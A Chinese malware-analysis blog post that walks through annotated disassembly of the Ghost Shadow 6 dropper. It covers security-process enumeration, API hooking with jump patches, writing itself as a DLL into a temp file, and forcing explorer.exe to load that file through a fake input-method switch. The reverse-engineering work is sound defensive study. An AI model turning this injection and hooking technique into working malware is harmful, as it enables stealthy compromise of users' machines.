1,母体的主要功能
鬼影6的母体用的方法很猥琐,注入什么的都不说了,还用的是输入法注入,还用的是很诡异的输入法注入。
注入到桌面进程之后,才修改的MBR什么的。今天,我就先分析下母体的功能,下次再分析dll的功能。
2,现在我们从最开始来往下看。
最开始的时候,会判断这个PE文件是在哪儿执行的,如果是在作为一个exe文件在自己的进程中执行,那么就要去执行母体的功能,母体的功能就是注入嘛:
- 00401A38 mov hModule, eax
- .text:00401A3D push 0 ; lpModuleName
- .text:00401A3F call ds:GetModuleHandleA
- .text:00401A45 cmp eax, hModule ; 这里是先获取本摸块的基址,然后又比较是不是00400000,因为
- .text:00401A45 ; 如果是00400000的话,然后去注入。
- .text:00401A4B jz short loc_401A59 ; 这里调走了,如果这个程序在本模块中没那么表示还没有注
- .text:00401A4B ; 入进程,所以就跳走
- .text:00401A4D push [ebp+arg_4]
- .text:00401A50 call sub_404045
- .text:00401A55 leave
- .text:00401A56 retn 0Ch
- .text:00401A59 ; ---------------------------------------------------------------------------
- .text:00401A59
- .text:00401A59 loc_401A59: ; CODE XREF: start+3Dj
- .text:00401A59 push 1 ; pVertex
- .text:00401A5B push 0 ; hdc
- .text:00401A5D call CoCreateInstance ; 如果还在本进程就先想办法注入
- .text:00401A62 push 0 ; uExitCode
- .text:00401A64 call ds:ExitProcess
- .text:00401A64 start
3,然后来到我们很重要的一个地方
text:00401944 push ebp
.text:00401945 mov ebp, esp
.text:00401947 sub esp, 260 ; 这个函数很重要哦,认真仔细。静心
.text:0040194D push ebx
.text:0040194E push esi
.text:0040194F xor ebx, ebx
下面是三个很重要的三个函数,就是在这三个函数中就是再完成母体的功能。
.text:004019EE loc_4019EE: ; CODE XREF: thisisAbigDeal+82j
.text:004019EE call VirtualMemoryWork ; 这是三个非常重要的函数,一定要注意
.text:004019F3 call FindProcessandWriteFile
.text:004019F8 call HookAPIandChangeKeyboarslayout
.text:004019FD test eax, eax
4,现在我们来看看第一个函数
00402FD4这个函数
0040300B . 8365 FC 00 and dword ptr ss:[ebp-0x4],0x0
0040300F . 6A 40 push 0x40 ; /Protect = PAGE_EXECUTE_READWRITE
00403011 . 68 00300000 push 0x3000 ; |AllocationType = MEM_COMMIT|MEM_RESERVE
00403016 . FF75 E0 push dword ptr ss:[ebp-0x20] ; |Size = 4000000 (67108864.)
00403019 . 6A 00 push 0x0 ; |Address = NULL
0040301B . FF15 10514000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; \VirtualAlloc
00403021 . 8945 DC mov dword ptr ss:[ebp-0x24],eax ; 申请一块大小为4000000大小的内存空间,地址是9C0000
00403024 . 837D DC 00 cmp dword ptr ss:[ebp-0x24],0x0
0040302E . /EB 69 jmp short 样本.00403099
00403030 > |FF75 E0 push dword ptr ss:[ebp-0x20] ; /n = 4000000 (67108864.)
00403033 . |68 90000000 push 0x90 ; |c = 90
00403038 . |FF75 DC push dword ptr ss:[ebp-0x24] ; |s = 009C0000
0040303B . |FF15 58514000 call dword ptr ds:[<&MSVCRT.memset>] ; \memset
00403041 . |83C4 0C add esp,0xC ; 将这一片全部格式化为90
5,我们再来看看第二个函数
00401885
00401887 |. 68 04010000 push 0x104 ; /BufSize = 104 (260.)
0040188C |. 68 34744000 push 样本.00407434 ; |PathBuffer = 样本.00407434
00401891 |. FF35 78754000 push dword ptr ds:[0x407578] ; |hModule = 00400000 (样本)
00401897 |. FF15 64504000 call dword ptr ds:[<&KERNEL32.GetModuleFileNameA>; \GetModuleFileNameA
0040189D |. 6A 01 push 0x1 ; 获取本模块的完整路径
0040189F |. 6A 00 push 0x0
00407434 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents and
00407444 20 53 65 74 74 69 6E 67 73 5C 41 64 6D 69 6E 69 Settings\Admini
00407454 73 74 72 61 74 6F 72 5C D7 C0 C3 E6 5C B9 ED D3 strator\桌面\鬼
00407464 B0 5C D1 F9 B1 BE 2E 65 78 65 00 00 00 00 00 00 癨样本.exe......
下面是一个函数,这个函数还是很重要的。
004029E9
下面主要是格式化,还有就是给进程拍快照,这样就可以枚举进程了。
text:004029FD push esi ; Size
.text:004029FE xor edi, edi
.text:00402A00 lea eax, [esp+13Ch+Dst]
.text:00402A04 push edi ; Val
.text:00402A05 push eax ; Dst
.text:00402A06 call ds:memset ; 0012FD08的128h字节全部格式化为0
.text:00402A0C add esp, 0Ch
.text:00402A0F push edi ; th32ProcessID
.text:00402A10 push 2 ; dwFlags
.text:00402A12 mov [esp+140h+Dst], esi
.text:00402A16 call ds:CreateToolhelp32Snapshot ; 给系统中的进程拍一个快照。等 会儿就从这个快照里面去找进程
.text:00402A1C mov esi, eax ; 保存进程快照句柄
.text:00402A1E lea eax, [esp+138h+Dst]
.text:00402A22 push eax ; lppe
.text:00402A23 push esi ; hSnapshot
下面就是在枚举进程了。
text:00402A23 push esi ; hSnapshot
.text:00402A24 call ds:Process32First
.text:00402A2A
.text:00402A2A loc_402A2A: ; CODE XREF: FindProcess+78j
.text:00402A2A cmp [ebp+arg_8], 1
.text:00402A2E jnz short loc_402A3B
.text:00402A30 lea ebx, [esp+138h+Dst]
.text:00402A34 call FindSpecialProcessandStoreTheId ; 查找特定进程,
例如"360tray","explorer.exe","HardwareInfo.exe"
.text:00402A34 ; "HintClient.exe", "CfgClt.exe", "AVP.exe","KsafeTray.exe"
.text:00402A34 ; "RVAMonD.exe",
.text:00402A39 jmp short loc_402A53
.text:00402A3B ; ---------------------------------------------------------------------------
.text:00402A3B
.text:00402A3B loc_402A3B: ; CODE XREF: FindProcess+45j
.text:00402A3B cmp [ebp+arg_8], 4
.text:00402A3F jnz short loc_402A53
.text:00402A41 push [ebp+lpString2] ; lpString2
.text:00402A44 lea eax, [esp+13Ch+String1]
.text:00402A48 push eax ; lpString1
.text:00402A49 call ds:lstrcmpiA
.text:00402A4F test eax, eax
.text:00402A51 jz short loc_402A65
.text:00402A53
.text:00402A53 loc_402A53: ; CODE XREF: FindProcess+50j
.text:00402A53 ; FindProcess+56j
.text:00402A53 lea eax, [esp+138h+Dst]
.text:00402A57 push eax ; lppe
.text:00402A58 push esi ; hSnapshot
.text:00402A59 call ds:Process32Next
.text:00402A5F test eax, eax
.text:00402A61 jnz short loc_402A2A ; 列举完了就不跳了哦。
.text:00402A63 jmp short loc_402A69
.text:00402A65 ; ---------------------------------------------------------------------
在这上面中的一个函数我们可以进去看看。
这就是找特殊进程的ID,然后保存这个ID。就这么简单
push esi
.text:004017B3 mov esi, ds:lstrcmpiA
.text:004017B9 push edi
.text:004017BA push offset String2 ; "360tray.exe"
.text:004017BF lea edi, [ebx+24h] ; 360tray.exe 是360安全卫士实时监控程序
.text:004017C2 push edi ; lpString1
.text:004017C3 call esi ; lstrcmpiA
.text:004017C5 test eax, eax
.text:004017C7 jnz short loc_4017D7
.text:004017C9 or dword_40753C, 1
.text:004017D0 push 1
.text:004017D2 jmp loc_401875
.text:004017D7 ; ---------------------------------------------------------------------------
.text:004017D7
.text:004017D7 loc_4017D7: ; CODE XREF: FindSpecialProcessandStoreTheId+15j
.text:004017D7 push offset aExplorer_exe ; "explorer.exe"
.text:004017DC push edi ; lpString1
.text:004017DD call esi ; lstrcmpiA ; explorer.exe是Windows程序管理器或者Windows资源管理器
.text:004017DD ; 它用于管理Windows图形壳,包括开始菜单、任务栏、桌面和
.text:004017DD ; 文件管理,删除该程序会导致Windows图形界面无法适用
.text:004017DF test eax, eax
.text:004017E1 jnz short loc_4017F7
.text:004017E3 cmp dword_407540, eax
.text:004017E9 jnz loc_401882 ; 如果找到了就跳走
.text:004017EF
.text:004017EF loc_4017EF: ; CODE XREF: FindSpecialProcessandStoreTheId+ACj
.text:004017EF mov eax, [ebx+8]
.text:004017F2 jmp loc_40187D ; 保存找到进程的ID,比如这次找到的是explorer.exe,
.text:004017F2 ; 就保存进程的ID 5C4H
然后我们继续往下。
接着往下继续是一个函数。这个函数是call 004029AE
这个函数主要的功能就是产生一个随机数,用于生成随机数temp文件。
.text:004029A7 push ebp
.text:004029A8 mov ebp, esp
.text:004029AA push ecx
.text:004029AB push ecx
.text:004029AC push ebx
.text:004029AD push esi
.text:004029AE push edi
.text:004029AF lea eax, [ebp+SystemTimeAsFileTime]
.text:004029B2 push eax ; lpSystemTimeAsFileTime
.text:004029B3 call ds:GetSystemTimeAsFileTime ; 获取系统的时间,用来做随机数的种子
.text:004029B9 movzx eax, word ptr [ebp+SystemTimeAsFileTime.dwLowDateTime]
.text:004029BD mov esi, ds:srand
.text:004029C3 push eax ; Seed
.text:004029C4 call esi ; srand ; 置随机数种子
.text:004029C6 mov edi, ds:rand
.text:004029CC call edi ; rand ; 产生随机数
.text:004029CE mov ebx, eax ; 保存随机数。
.text:004029D0 mov eax, [ebp+SystemTimeAsFileTime.dwLowDateTime] ; 取出系统时间的低字节
.text:004029D3 and eax, 0FFFF0000h ; 取高位
.text:004029D8 push eax ; Seed
.text:004029D9 shl ebx, 10h ; 将刚刚的随机数,移动到高位。
.text:004029DC call esi ; srand ; 置随机数种子,这次的种子就是刚刚系统时间的高位
.text:004029DE pop ecx
.text:004029DF pop ecx
.text:004029E0 call edi ; rand ; 产生随机数
.text:004029E2 pop edi
.text:004029E3 pop esi
.text:004029E4 or eax, ebx ; 于是就将两个随机数合成一个了,第一次产生的是高位。。
.text:004029E4 ; 虽然我也不晓得这个去随机数以后要干嘛
.text:004029E6 pop ebx
.text:004029E7 leave
.text:004029E8 retn
.text:004029E8 GetRand endp
然后我们继续往下看。
这里是格式化一个文件的名字
.text:004018AD movzx ecx, word ptr dword_407540 ; 将上面的函数中找到的进程的ID放入ecx
.text:004018B4 mov esi, ds:wsprintfA
.text:004018BA and eax, 0FFFF0000h
.text:004018BF or eax, ecx ; 取随机数高位,用找到的进程ID号补充为随机数的低位
.text:004018C1 push eax
.text:004018C2 push offset a_8x_tmp ; "%.8X.tmp"
.text:004018C7 push offset String ; LPSTR
.text:004018CC call esi ; wsprintfA ; 然后用这个随机数,来随机生成一个文件名,比如这一次的文件名就是1FA205C4
.text:004018CE push offset aStinst_log ; "stinst.log"
然后下面这个函数是打开一个文件,然后写一些东西进去。
ext:00402F3C push ebp
.text:00402F3D mov ebp, esp
.text:00402F3F push ecx
.text:00402F40 push ebx
.text:00402F41 push esi ; 事实上,后面将整个进程改为dll,写进一个新文件的时候又调用了这个函数。
.text:00402F41 ; 调用的顺序又完全不一样了。
.text:00402F41 ;
.text:00402F42 push edi ; C:\Documents and Settings\Administrator\Local Settings\Temp\stinst.log"
.text:00402F43 push [ebp+lpMultiByteStr] ; pszPath
.text:00402F46 xor esi, esi
.text:00402F48 mov [ebp+NumberOfBytesWritten], esi
.text:00402F4B call ds:PathFileExistsA ; 检测这个文件是否存在
.text:00402F51 mov ebx, eax
.text:00402F53 cmp ebx, 1
.text:00402F56 jnz short loc_402F65
.text:00402F58 cmp [ebp+arg_C], eax
.text:00402F5B jnz short loc_402F65
.text:00402F5D push [ebp+lpMultiByteStr] ; lpMultiByteStr
.text:00402F60 call sub_402EB9
.text:00402F65
.text:00402F65 loc_402F65: ; CODE XREF: OpenTempFileAndWriteSomething+1Aj
.text:00402F65 ; OpenTempFileAndWriteSomething+1Fj
.text:00402F65 push esi ; hTemplateFile
.text:00402F66 push esi ; dwFlagsAndAttributes
.text:00402F67 push 4 ; dwCreationDisposition
.text:00402F69 push esi ; lpSecurityAttributes
.text:00402F6A push esi ; dwShareMode
.text:00402F6B push 0C0000000h ; dwDesiredAccess
.text:00402F70 push [ebp+lpMultiByteStr] ; lpFileName
.text:00402F73 call ds:CreateFileA ; 打开这个已经存在的文件
.text:00402F79 mov edi, eax ; 保存文件的句柄
.text:00402F7B cmp edi, 0FFFFFFFFh ; C:\Documents and Settings\Administrator\Local Settings\Temp
.text:00402F7E jnz short loc_402F84 ; 打开文件成功就跳走。
.text:00402F80
.text:00402F80 loc_402F80: ; CODE XREF: OpenTempFileAndWriteSomething+67j
.text:00402F80 ; OpenTempFileAndWriteSomething+72j
.text:00402F80 xor eax, eax
.text:00402F82 jmp short loc_402FCD
.text:00402F84 ; ---------------------------------------------------------------------------
.text:00402F84
.text:00402F84 loc_402F84: ; CODE XREF: OpenTempFileAndWriteSomething+42j
.text:00402F84 push esi ; lpOverlapped
.text:00402F85 lea eax, [ebp+NumberOfBytesWritten]
.text:00402F88 push eax ; lpNumberOfBytesWritten
.text:00402F89 push [ebp+lDistanceToMove] ; nNumberOfBytesToWrite
.text:00402F8C push [ebp+lpBuffer] ; lpBuffer
.text:00402F8F push edi ; hFile
.text:00402F90 call ds:WriteFile ; 向文件写东西
.text:00402F96 test eax, eax ; 向文件里面写东西。写的东西我放在记录里面
.text:00402F98 jnz short loc_402FB0
.text:00402F9A push edi ; hObject
.text:00402F9B call ds:CloseHandle
.text:00402FA1 cmp ebx, esi
.text:00402FA3 jnz short loc_402F80
.text:00402FA5 push [ebp+lpMultiByteStr] ; lpFileName
.text:00402FA8 call ds:DeleteFileA
.text:00402FAE jmp short loc_402F80
.text:00402FB0 ; ---------------------------------------------------------------------------
.text:00402FB0
.text:00402FB0 loc_402FB0: ; CODE XREF: OpenTempFileAndWriteSomething+5Cj
.text:00402FB0 push esi ; dwMoveMethod
.text:00402FB1 push esi ; lpDistanceToMoveHigh
.text:00402FB2 push [ebp+lDistanceToMove] ; lDistanceToMove
.text:00402FB5 push edi ; hFile
.text:00402FB6 call ds:SetFilePointer ; 设置文件指针到文件尾
.text:00402FBC push edi ; hFile
.text:00402FBD call ds:SetEndOfFile ; 设置当前位置为文件尾
.text:00402FC3 push edi ; hObject
.text:00402FC4 call ds:CloseHandle ; 关闭文件句柄
.text:00402FCA xor eax, eax
.text:00402FCC inc eax
.text:00402FCD
.text:00402FCD loc_402FCD: ; CODE XREF: OpenTempFileAndWriteSomething+46j
.text:00402FCD pop edi
.text:00402FCE pop esi
.text:00402FCF pop ebx
.text:00402FD0 leave
这样第二个函数就完成了。
6,现在我们看看第三个重要的函数。
这里我就挑重要的写了。
下面是在枚举输入法,然后将输入法的代号转换成长整型保存起来。
.text:00402507 lea eax, [ebp+Str]
.text:0040250D push eax ; lpData
.text:0040250E lea eax, [ebp+flOldProtect]
.text:00402511 push eax ; lpType
.text:00402512 push ebx ; lpReserved
.text:00402513 lea eax, [ebp+ValueName]
.text:00402516 push eax ; lpValueName
.text:00402517 push [ebp+hKey] ; hKey
.text:0040251A call ds:RegQueryValueExA ; 按顺序检查现在系统中装了哪些输入法。00000804,e02000804
.text:00402520 test eax, eax ; 检查是否执行成功,其实这里检查完毕就直接跳走了,不用检查14次
.text:00402522 jnz short loc_402544
.text:00402524 push 10h ; Radix
.text:00402526 lea eax, [ebp+Str]
.text:0040252C push ebx ; EndPtr
.text:0040252D push eax ; Str
.text:0040252E call ds:strtoul ; 将刚刚的长整型00000804转化为长整型
.text:00402534 add esp, 0Ch
.text:00402537 mov [ebp+edi*4+Dst], eax ; 保存eax,eax就是输入法第一的输入法
.text:0040253E inc edi
.text:0040253F cmp edi, 14h
.text:00402542 jle short loc_4024E6 ; 这是个循环啊,依次要循环14h次啊。意思就是要列举14个输入法
.text:00402544
.text:00402544 loc_402544: ; CODE XREF: HookAPIandChangeKeyboarslayout+92j
.text:00402544 push [ebp+hKey] ; hKey
.text:00402547 call ds:RegCloseKey ; 关闭注册表句柄
.text:0040254D xor edi, edi
.text:0040254F inc edi
.text:00402550
比较现在电脑上面有没有安装特定的输入法。、
.text:00402550 mov eax, edi
.text:00402552 or eax, 0FFFFE000h
.text:00402557 shl eax, 10h
.text:0040255A or eax, [ebp+lParam]
.text:00402560 xor ecx, ecx
.text:00402562 mov [ebp+flOldProtect], eax
.text:00402565 inc ecx ; eax是我要找的输入法。E0010804
.text:00402566
.text:00402566 loc_402566: ; CODE XREF: HookAPIandChangeKeyboarslayout+EDj
.text:00402566 mov edx, [ebp+ecx*4+Dst]
.text:0040256D cmp edx, ebx
.text:0040256F jz short loc_40257F
.text:00402571 cmp edx, eax ; 比较现在这个电脑上面有没有病毒需要的输入法
.text:00402573 jz loc_4026FA
.text:00402579 inc ecx
.text:0040257A cmp ecx, 14h
.text:0040257D jle short loc_402566
.text:0040257F
下面主要是获取两个重要函数的地址。
text:004025A1 push offset aUser32_dll_0 ; "user32.dll"
.text:004025A6 call ds:GetModuleHandleA ; 获取user32。dll的句柄,也可以说是基址。77D10000
.text:004025AC mov edi, ds:GetProcAddress ; 将GetProcAddress函数放入edi,方便调用
.text:004025B2 lea ecx, [ebp+ProcName]
.text:004025B5 push ecx ; lpProcName
.text:004025B6 push eax ; hModule
.text:004025B7 mov [ebp+hModule], eax ; 保存ues32.dll模块的基址
.text:004025BA mov dword ptr [ebp+ProcName], 64616F4Ch
.text:004025C1 mov [ebp+var_44], 6279654Bh ; 这是函数的名字
.text:004025C8 mov [ebp+var_40], 6472616Fh
.text:004025CF mov [ebp+var_3C], 6F79614Ch
.text:004025D6 mov [ebp+var_38], 417475h
.text:004025DD call edi ; GetProcAddress ; 第一个要找的函数地址是LoadKeyboardLayoutA,77D56262
.text:004025DF mov [ebp+hWnd], eax ; 将这个地址保存在hwnd中,保存这个函数的地址、77D56262
.text:004025E2 lea eax, [ebp+ProcName] ; 将函数名的地址放入eax
.text:004025E5 push eax ; lpProcName
.text:004025E6 push [ebp+hModule] ; hModule
.text:004025E9 mov dword ptr [ebp+ProcName], 6F6C6E55h ; 这个函数名字:UnloadKeyboardLayout
.text:004025F0 mov [ebp+var_44], 654B6461h
.text:004025F7 mov [ebp+var_40], 616F6279h
.text:004025FE mov [ebp+var_3C], 614C6472h
.text:00402605 mov [ebp+var_38], 74756F79h
.text:0040260C mov [ebp+var_34], ebx
.text:0040260F call edi ; GetProcAddress ; 又在获取函数的地址吗?这次是UnloadKeyboardLayout,77D562C0
.text:00402611 push [ebp+lParam]
.text:00402617 mov [ebp+var_50], eax ; 将这个地址保存起来。
.text:0040261A
再往下走
下面是查找注册表的信息
00402634 |. 83C4 10 |add esp,0x10
00402637 |. 8D45 D8 |lea eax,[local.10]
0040263A |. 50 |push eax ; /pDataSize = NULL
0040263B |. 8D85 14FDFFFF |lea eax,[local.187] ; |
00402641 |. 50 |push eax ; |pData = NULL
00402642 |. 8D45 B4 |lea eax,[local.19] ; |
00402645 |. 50 |push eax ; |ValueType = REG_NONE
00402646 |. 68 E8564000 |push 样本.004056E8 ; |Value = 样本.004056E8
0040264B |. 8D85 14F9FFFF |lea eax,[local.443] ; |
00402651 |. 50 |push eax ; |SubKey = NULL
00402652 |. BB 02000080 |mov ebx,0x80000002 ; |
00402657 |. 53 |push ebx ; |hKey = HKEY_LOCAL_MACHINE
00402658 |. FF15 7C514000 |call dword ptr ds:[<&SHLWAPI.SHGetVal>; \SHGetValueA
0040265E |. FF75 F8 |push [local.2] ; 返回注册表的信息、。
这里是堆栈的情况。
0012F738 80000002
0012F73C 0012F75C ASCII "SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000804"
0012F740 004056E8 ASCII "Layout File"
0012F744 0012FDFC
0012F748 0012FB5C ASCII "KBDUS.DLL"
0012F74C 0012FE20
下面是打开一个键
00402674 |. 83C4 10 |add esp,0x10
00402677 |. 8D45 F0 |lea eax,[local.4]
0040267A |. 50 |push eax ; /pHandle = NULL
0040267B |. 8D85 14F9FFFF |lea eax,[local.443] ; |
00402681 |. 50 |push eax ; |Subkey = NULL
00402682 |. 53 |push ebx ; |hKey = HKEY_LOCAL_MACHINE
00402683 |. FF15 08504000 |call dword ptr ds:[<&ADVAPI3>; \RegOpenKeyA
打开的键是:
0012F744 80000002
0012F748 0012F75C ASCII "SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0010804"
0012F74C 0012FE38
下面有一个函数是将本进程的PE文件开辟的虚拟空间。这个函数就是00402DC2这个函数,我就不说了,因为下面还有一个很重要的函数。
下面是将在虚拟内存中的这个PE文件的属性改了。
.text:00402771 mov ecx, [ebp-4]
.text:00402774 mov eax, [ecx+3Ch] ; 事实上我相信下面是对PE文件进行操作,ecx+0x3ch是指向的NT头
.text:00402777 push 0 ; int
.text:00402779 push [ebp+lDistanceToMove] ; lDistanceToMove
.text:0040277C mov edx, 2000h
.text:00402781 or [eax+ecx+16h], dx ; 这里是修改文件属性,修改为dll文件,好注入。
.text:00402786 push ecx ; lpBuffer
.text:00402787 lea eax, [ebp+MultiByteStr]
.text:0040278D push eax ; lpMultiByteStr
下面这个函数00402F3C
这个函数是修改文件的属性,dll,然后写入生成的随机数创建的tmp文件中。
检查这个文件的路径是否有效
00402F41 |. 56 push esi
00402F42 |. 57 push edi ; kernel32.GetProcAddress
00402F43 |. FF75 08 push [arg.1] ; /Path = "C:\WINDOWS\system32\392105D8.tmp"
00402F46 |. 33F6 xor esi,esi ; |
00402F48 |. 8975 FC mov [local.1],esi ; |
00402F4B |. FF15 80514000 call dword ptr ds:[<&SHLWAPI.>; \PathFileExistsA
00402F51 |. 8BD8 mov ebx,eax
有效那么就打开这个文件
00402F60 |. E8 54FFFFFF call 样本.00402EB9
00402F65 |> 56 push esi ; /hTemplateFile = NULL
00402F66 |. 56 push esi ; |Attributes = 0
00402F67 |. 6A 04 push 0x4 ; |Mode = OPEN_ALWAYS
00402F69 |. 56 push esi ; |pSecurity = NULL
00402F6A |. 56 push esi ; |ShareMode = 0
00402F6B |. 68 000000C0 push 0xC0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
00402F70 |. FF75 08 push [arg.1] ; |FileName = "C:\WINDOWS\system32\392105D8.tmp"
00402F73 |. FF15 2C514000 call dword ptr ds:[<&KERNEL32>; \CreateFileA
下面就是将虚拟空间中的PE文件写入tmp文件中
00402F84 |> \56 push esi ; /pOverlapped = NULL
00402F85 |. 8D45 FC lea eax,[local.1] ; |
00402F88 |. 50 push eax ; |pBytesWritten = 0012F734
00402F89 |. FF75 10 push [arg.3] ; |nBytesToWrite = 18400 (99328.)
00402F8C |. FF75 0C push [arg.2] ; |Buffer = 00910000
00402F8F |. 57 push edi ; |hFile = 00000044 (window)
00402F90 |. FF15 1C514000 call dword ptr ds:[<&KERNEL32>; \WriteFile
现在就完成了将tmp文件改成dll文件了。
下面是两个函数的hook,hook的方法是将函数的第一个字节改为E9,也就是jmp,后面4个字节跟上跳转的地址。
.text:004027B8 push offset aImmloadlayout ; "ImmLoadLayout"
.text:004027BD push offset LibFileName ; "imm32.dll"
.text:004027C2 call ds:LoadLibraryA ; 导入一个dll,叫做"imm32.dll"
.text:004027C8 push eax ; hModule
.text:004027C9 call edi ; GetProcAddress ; 查找"ImmLoadLayout"这个函数,地址是76308719
.text:004027CB mov esi, eax
.text:004027CD mov ImmLoadLayout, eax ; 这里就是hook函数了。先保存这个函数的地址
.text:004027D2 lea eax, [ebp+flOldProtect]
.text:004027D5 push eax ; lpflOldProtect
.text:004027D6 push 40h ; flNewProtect
.text:004027D8 push 400h ; dwSize
.text:004027DD push esi ; lpAddress
.text:004027DE call ds:VirtualProtect ; 将这个函数的字节段保存起来。
.text:004027E4 push 5 ; Size
.text:004027E6 push esi ; Src
.text:004027E7 push offset unk_407284 ; Dst
.text:004027EC call ds:memcpy ; 先将原来函数的前5个字节放入00407284,然后再改掉原来的
.text:004027EC ; 第一个字节为JMP,也就是E9,然后再加上跳转地址,8A0F9BBB
.text:004027F2 mov eax, offset sub_4022D9 ; hook之后要调用的函数是004022D9
.text:004027F2 ;
.text:004027F7 sub eax, esi ; 本来的函数前5个字节是8B FF 55 8B EC
.text:004027F7 ; 现在是E9 BB 9B 0F 8A
.text:004027F9 sub eax, 5
.text:004027FC add esp, 0Ch
.text:004027FF mov byte ptr [esi], 0E9h
.text:00402802 mov [esi+1], eax ; 8A0F9BBB
.text:00402805 call HookZwQueryValueKey
.text:0040280A
上面是hook ImmLoadLayout函数,还有hook ZwQueryValueKey函数。
hook完了之后。
就是调用了。
text:00402810 call [ebp+hWnd] ; LoadKeyboardLayout,我在想调用这个函数的时候,其实是调用了
.text:00402810 ; 底层的immaLoadLayout函数,然后执行了hook后的函数
.text:00402810 ; 会不会执行了004022D9
.text:00402810 ;
.text:00402810 ; 哈哈哈,调用这个函数目的并不在此啊
.text:00402810 ;
.text:00402810 ; 经过我在系统函数里面的跟踪,这个函数最终回去调用我们的immaLoadLayout
.text:00402810 ; 函数,自然也就执行了病毒hook后的函数了。
.text:00402810 ;
.text:00402810 ; 在这个函数里面会跳到00402305去。执行。
.text:00402810 ;
下面就是输入法注入了。
调用这个函数的目的是去执行hook proc函数。下面是hook zwQueryValueKey的hook proc
text:00402312 push offset aImeFile ; "Ime File"
.text:00402317 push dword ptr [ebx+4] ; lpString1
.text:0040231A call ds:lstrcmpiW
.text:00402320 test eax, eax ; 如果查找的是Ime file的话,那么就返回这个tmp文件,将tmp文件返回给调用着
.text:00402322 jnz short loc_402388
.text:00402324 push 0A0h ; Size
.text:00402329 xor ebx, ebx
.text:0040232B lea eax, [ebp+Dst]
.text:00402331 push ebx ; Val
.text:00402332 push eax ; Dst
.text:00402333 call ds:memset
.text:00402339 add esp, 0Ch
.text:0040233C push 50h ; cchWideChar
.text:0040233E lea eax, [ebp+Dst]
.text:00402344 push eax ; lpWideCharStr
.text:00402345 push 0FFFFFFFFh ; cbMultiByte
.text:00402347 push offset String ; lpMultiByteStr
.text:0040234C push ebx ; dwFlags
.text:0040234D push ebx ; CodePage
.text:0040234E call ds:MultiByteToWideChar
我们知道explorer.exe的窗口类是“program”,窗口名是“program manager”所以我们可以通过Findwindow函数来获得窗口的句柄
00402862 |. 68 08574000 push 样本.00405708 ; /Title = "Program Manager"
00402867 |. 6A 00 push 0x0 ; |Class = 0
00402869 |. FF15 8C514000 call dword ptr ds:[<&USER32.FindWindowA>] ; \FindWindowA
0040286F |. 8945 E8 mov [local.6],eax ; 获取桌面进程的句柄
向窗口句柄发送WM_INPUTLANGCHANGEREQUEST消息
004028CD |. FFD7 call edi ; kernel32.GetProcAddress
004028CF |. EB 1B jmp short 样本.004028EC
004028D1 |> 8B3D 90514000 mov edi,dword ptr ds:[<&USER32.PostMessageA>] ; user32.PostMessageA
004028D7 |. 56 push esi ; /lParam = E0010804
004028D8 |. 53 push ebx ; |wParam = 1
004028D9 |. 6A 50 push 0x50 ; |Message = WM_INPUTLANGCHANGEREQUEST
004028DB |. 50 push eax ; |hWnd = 10088
004028DC |. FFD7 call edi ; \PostMessageA
004028DE |. FFB5 40FFFFFF push [local.48] ; /lParam = 804
004028E4 |. 53 push ebx ; |wParam = 1
004028E5 |. 6A 50 push 0x50 ; |Message = WM_INPUTLANGCHANGEREQUEST
004028E7 |. FF75 E8 push [local.6] ; |hWnd = 77D56262
004028EA |. FFD7 call edi ; \PostMessageA
004028EC |> 68 A00F0000 push 0xFA0 ; /Timeout = 4000. ms
004028F1 |. FF75 FC push [local.1] ; |hObject = 00000048 (window)
004028F4 |. FF15 F8504000 call dword ptr ds:[<&KERNEL32.WaitForSingleObject>>; \WaitForSingleObject
。这样explorer.exe就回去加载一个输入法,在内部就会调用ImmLoadIME函数,这个函数就去加载由ImmGetImeInfoEx函数返回的dll文件。反正调用这个函数的时候,explorer进程就加载了病毒的tmp文件了。这个是explorer进程模块的信息了。
现在执行完了之后,
现在母体就分析完了。之后就是注入的dll也就是tmp文件的分析了。。。
dll的分析就是我接下来要做的了。
引用自:http://blog.sina.com.cn/s/blog_6bedf1220101elyj.html